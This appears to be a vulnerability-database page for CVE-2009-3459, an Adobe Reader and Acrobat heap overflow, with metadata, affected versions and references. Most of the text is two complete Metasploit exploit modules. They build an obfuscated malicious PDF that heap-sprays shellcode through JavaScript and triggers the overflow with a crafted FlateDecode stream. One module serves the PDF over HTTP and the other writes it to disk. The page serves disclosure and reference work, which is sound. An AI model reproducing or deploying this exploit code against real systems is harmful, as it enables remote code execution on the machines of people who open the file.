CVE-2009-3459 : Detail

CVE-2009-3459

Overflow
96.94%V3
Network
2009-10-13
08h00 +00:00
2017-09-18
10h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Heap-based buffer overflow in Adobe Reader and Acrobat 7.x before 7.1.4, 8.x before 8.1.7, and 9.x before 9.2 allows remote attackers to execute arbitrary code via a crafted PDF file that triggers memory corruption, as exploited in the wild in October 2009. NOTE: some of these details are obtained from third party information.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 16546

Publication date : 2010-09-19 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: adobe_flatedecode_predictor02.rb 10394 2010-09-20 08:06:27Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow', 'Description' => %q{ This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions before 9.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # Found in the wild # Metasploit version by: 'jduck', 'jabra' ], 'Version' => '$Revision: 10394 $', 'References' => [ [ 'CVE', '2009-3459' ], [ 'BID', '36600' ], [ 'OSVDB', '58729' ], [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ], [ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # test results (on Windows XP SP3) # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - untested # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works! # reader 9.2 - not vulnerable [ 'Adobe Reader Windows Universal (JS Heap Spray)', { 'Size' => ((1024*1024) - 32) } ], ], 'DisclosureDate' => 'Oct 08 2009', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape(make_nops(4)) # Randomize variables rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = unescape("#{nops}"); while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2}; #{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length); memory = new Array(); for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } | # Create the pdf pdf = make_pdf(script) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") send_response(cli, pdf, { 'Content-Type' => 'application/pdf' }) handler(cli) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_flate_data() # NOTE: this data is from the original, in-the-wild exploit... # on 9.1.0 xpsp3, this causes a crash executing 0x70000000 # that's not exactly a fun address to try to heap spray to bpc = 1 data = "\x00\x00\x20\x00\x00\x00\x10" # this way, we can adjust dwords on the heap by 8-bits of data.. # this leads to eip being around 0x1000xxxx, much more friendly bpc = 8 addend = 9 data = "\x00" * 64 data[18,1] = [addend].pack('C') data[51,1] = [addend].pack('C') return bpc, data end def make_pdf(js) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) pdf << nObfu("/Pages ") << ioRef(3) pdf << nObfu("/OpenAction ") << ioRef(5) pdf << ">>" << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7) pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # generate data for inside the flate'd stream bits_per_component, data = make_flate_data() compressed = Zlib::Deflate.deflate(data) xref << pdf.length pdf << ioDef(7) << nObfu("<</DecodeParms") pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length) pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end
Exploit Database EDB-ID : 16652

Publication date : 2010-09-24 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: adobe_flatedecode_predictor02.rb 10477 2010-09-25 11:59:02Z mc $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe FlateDecode Stream Predictor 02 Integer Overflow', 'Description' => %q{ This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat Professional versions before 9.2. }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # Found in the wild # Metasploit version by: 'jduck' ], 'Version' => '$Revision: 10477 $', 'References' => [ [ 'CVE', '2009-3459' ], [ 'BID', '36600' ], [ 'OSVDB', '58729' ], [ 'URL', 'http://blogs.adobe.com/psirt/2009/10/adobe_reader_and_acrobat_issue_1.html' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ], [ 'URL', 'http://www.fortiguard.com/analysis/pdfanalysis.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ # test results (on Windows XP SP3) # reader 7.0.5 - untested # reader 7.0.8 - untested # reader 7.0.9 - untested # reader 7.1.0 - untested # reader 7.1.1 - untested # reader 8.0.0 - untested # reader 8.1.2 - untested # reader 8.1.3 - untested # reader 8.1.4 - untested # reader 8.1.5 - untested # reader 8.1.6 - untested # reader 9.0.0 - untested # reader 9.1.0 - works! # reader 9.2 - not vulnerable [ 'Adobe Reader Windows Universal (JS Heap Spray)', { 'Size' => ((1024*1024) - 32) } ], ], 'DisclosureDate' => 'Oct 08 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']), ], self.class) end def exploit # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Make some nops nops = Rex::Text.to_unescape(make_nops(4)) # Randomize variables rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) script = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = unescape("#{nops}"); while (#{rand2}.length < #{target['Size']}) #{rand2} += #{rand2}; #{rand2} = #{rand2}.substring(0, #{target['Size']} - #{rand1}.length); memory = new Array(); for(i = 0; i < 128; i++) { memory[i]= #{rand2} + #{rand1}; } | # Create the pdf pdf = make_pdf(script) print_status("Creating '#{datastore['FILENAME']}' file...") file_create(pdf) end def RandomNonASCIIString(count) result = "" count.times do result << (rand(128) + 128).chr end result end def ioDef(id) "%d 0 obj" % id end def ioRef(id) "%d 0 R" % id end #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/ def nObfu(str) result = "" str.scan(/./u) do |c| if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z' result << "#%x" % c.unpack("C*")[0] else result << c end end result end def ASCIIHexWhitespaceEncode(str) result = "" whitespace = "" str.each_byte do |b| result << whitespace << "%02x" % b whitespace = " " * (rand(3) + 1) end result << ">" end def make_flate_data() # NOTE: this data is from the original, in-the-wild exploit... # on 9.1.0 xpsp3, this causes a crash executing 0x70000000 # that's not exactly a fun address to try to heap spray to bpc = 1 data = "\x00\x00\x20\x00\x00\x00\x10" # this way, we can adjust dwords on the heap by 8-bits of data.. # this leads to eip being around 0x1000xxxx, much more friendly bpc = 8 addend = 9 data = "\x00" * 64 data[18,1] = [addend].pack('C') data[51,1] = [addend].pack('C') return bpc, data end def make_pdf(js) xref = [] eol = "\x0d\x0a" endobj = "endobj" << eol # Randomize PDF version? pdf = "%PDF-1.5" << eol pdf << "%" << RandomNonASCIIString(4) << eol xref << pdf.length pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) pdf << nObfu("/Pages ") << ioRef(3) pdf << nObfu("/OpenAction ") << ioRef(5) pdf << ">>" << endobj xref << pdf.length pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj xref << pdf.length pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj xref << pdf.length pdf << ioDef(4) << nObfu("<</Contents ") << ioRef(7) pdf << nObfu("/Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj xref << pdf.length pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj xref << pdf.length compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js)) pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj # generate data for inside the flate'd stream bits_per_component, data = make_flate_data() compressed = Zlib::Deflate.deflate(data) xref << pdf.length pdf << ioDef(7) << nObfu("<</DecodeParms") pdf << nObfu("<</Columns 1/Predictor 02/Colors 1073741838/BitsPerComponent %s>>" % bits_per_component) pdf << nObfu("/Length %s/Filter/FlateDecode>>" % compressed.length) pdf << "stream" << eol pdf << compressed << eol pdf << "endstream" << eol pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol pdf << "0 %d" % (xref.length + 1) << eol pdf << "0000000000 65535 f" << eol xref.each do |index| pdf << "%010d 00000 n" % index << eol end pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol pdf << "startxref" << eol pdf << xrefPosition.to_s() << eol pdf << "%%EOF" << eol end end

Products Mentioned

Configuraton 0

Adobe>>Acrobat >> Version To (including) 9.1.3

Adobe>>Acrobat >> Version 3.0

Adobe>>Acrobat >> Version 3.1

Adobe>>Acrobat >> Version 4.0

Adobe>>Acrobat >> Version 4.0.5

Adobe>>Acrobat >> Version 4.0.5a

Adobe>>Acrobat >> Version 4.0.5c

Adobe>>Acrobat >> Version 5.0

Adobe>>Acrobat >> Version 5.0.5

Adobe>>Acrobat >> Version 5.0.6

Adobe>>Acrobat >> Version 5.0.10

Adobe>>Acrobat >> Version 6.0

Adobe>>Acrobat >> Version 6.0.1

Adobe>>Acrobat >> Version 6.0.2

Adobe>>Acrobat >> Version 6.0.3

Adobe>>Acrobat >> Version 6.0.4

Adobe>>Acrobat >> Version 6.0.5

Adobe>>Acrobat >> Version 7.0

Adobe>>Acrobat >> Version 7.0.1

Adobe>>Acrobat >> Version 7.0.2

Adobe>>Acrobat >> Version 7.0.3

Adobe>>Acrobat >> Version 7.0.4

Adobe>>Acrobat >> Version 7.0.5

Adobe>>Acrobat >> Version 7.0.6

Adobe>>Acrobat >> Version 7.0.7

Adobe>>Acrobat >> Version 7.0.8

Adobe>>Acrobat >> Version 7.0.9

Adobe>>Acrobat >> Version 7.1.3

Adobe>>Acrobat >> Version 8.0

Adobe>>Acrobat >> Version 8.1

Adobe>>Acrobat >> Version 8.1.1

Adobe>>Acrobat >> Version 8.1.2

Adobe>>Acrobat >> Version 8.1.3

Adobe>>Acrobat >> Version 8.1.4

Adobe>>Acrobat >> Version 8.1.6

Adobe>>Acrobat >> Version 9

Adobe>>Acrobat >> Version 9.0.0

    Adobe>>Acrobat >> Version 9.1

    Adobe>>Acrobat >> Version 9.1.1

    Adobe>>Acrobat >> Version 9.1.2

    Configuraton 0

    Adobe>>Acrobat_reader >> Version To (including) 9.0

    Adobe>>Reader >> Version 3.0

      Adobe>>Reader >> Version 4.0

        Adobe>>Reader >> Version 4.0.5

          Adobe>>Reader >> Version 4.0.5a

            Adobe>>Reader >> Version 4.0.5c

              Adobe>>Reader >> Version 4.5

                Adobe>>Reader >> Version 5.0

                  Adobe>>Reader >> Version 5.0.5

                    Adobe>>Reader >> Version 5.0.6

                      Adobe>>Reader >> Version 5.0.7

                        Adobe>>Reader >> Version 5.0.9

                          Adobe>>Reader >> Version 5.0.10

                            Adobe>>Reader >> Version 5.0.11

                              Adobe>>Reader >> Version 5.1

                                Adobe>>Reader >> Version 6.0

                                  Adobe>>Reader >> Version 6.0.1

                                    Adobe>>Reader >> Version 6.0.2

                                      Adobe>>Reader >> Version 6.0.3

                                        Adobe>>Reader >> Version 6.0.4

                                          Adobe>>Reader >> Version 6.0.5

                                            Adobe>>Reader >> Version 7.0.1

                                              Adobe>>Reader >> Version 7.0.2

                                                Adobe>>Reader >> Version 7.0.3

                                                  Adobe>>Reader >> Version 7.0.5

                                                    Adobe>>Reader >> Version 7.0.7

                                                      Adobe>>Reader >> Version 7.0.8

                                                        Adobe>>Reader >> Version 7.0.9

                                                          Adobe>>Reader >> Version 7.1.0

                                                            Adobe>>Reader >> Version 7.1.1

                                                              Adobe>>Reader >> Version 7.1.3

                                                                Adobe>>Reader >> Version 8.1.1

                                                                  Adobe>>Reader >> Version 8.1.2

                                                                    Adobe>>Reader >> Version 8.1.4

                                                                      Adobe>>Reader >> Version 8.1.6

                                                                        Adobe>>Reader >> Version 9.0

                                                                        Adobe>>Reader >> Version 9.1

                                                                        Adobe>>Reader >> Version 9.1.2

                                                                        References

                                                                        http://secunia.com/advisories/36983
                                                                        Tags : third-party-advisory, x_refsource_SECUNIA
                                                                        http://www.us-cert.gov/cas/techalerts/TA09-286B.html
                                                                        Tags : third-party-advisory, x_refsource_CERT
                                                                        http://securitytracker.com/id?1023007
                                                                        Tags : vdb-entry, x_refsource_SECTRACK
                                                                        http://www.iss.net/threats/348.html
                                                                        Tags : third-party-advisory, x_refsource_ISS
                                                                        http://www.vupen.com/english/advisories/2009/2851
                                                                        Tags : vdb-entry, x_refsource_VUPEN
                                                                        http://www.securityfocus.com/bid/36600
                                                                        Tags : vdb-entry, x_refsource_BID
                                                                        http://www.vupen.com/english/advisories/2009/2898
                                                                        Tags : vdb-entry, x_refsource_VUPEN